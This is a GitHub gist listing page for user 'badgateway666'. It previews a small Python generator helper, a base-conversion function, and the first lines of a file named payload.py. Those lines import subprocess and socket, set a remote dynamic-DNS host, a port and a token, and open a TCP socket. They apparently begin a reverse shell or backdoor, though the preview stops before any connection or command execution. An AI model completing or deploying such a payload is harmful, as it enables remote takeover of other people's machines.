Skip to content

Instantly share code, notes, and snippets.

Avatar

Badgateway badgateway666

View GitHub Profile
@badgateway666
badgateway666 / prompt.py
Last active Nov 16, 2018
Generators <3
View prompt.py
def PromptUser(prompt):
yield input(prompt)
def LoopGen(gen, *args, **kwargs):
while True:
for item in gen(*args, **kwargs):
yield item
@badgateway666
badgateway666 / base_change.py
Created Sep 27, 2018
Decimal Number into different base
View base_change.py
def convert_to_base(input, outputbase):
output = []
next_number = input
while next_number > 0:
print("NextNumber: {0} | Base: {1} --> Next_number = {2} Rest = {3}".format(next_number,
outputbase,
int(next_number/outputbase),
int(next_number % outputbase)))
View payload.py
#!/usr/bin/python
import subprocess
import socket
import time as t
service = "cronixx.ddns.net"
port = 30841
token = "123"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
You can’t perform that action at this time.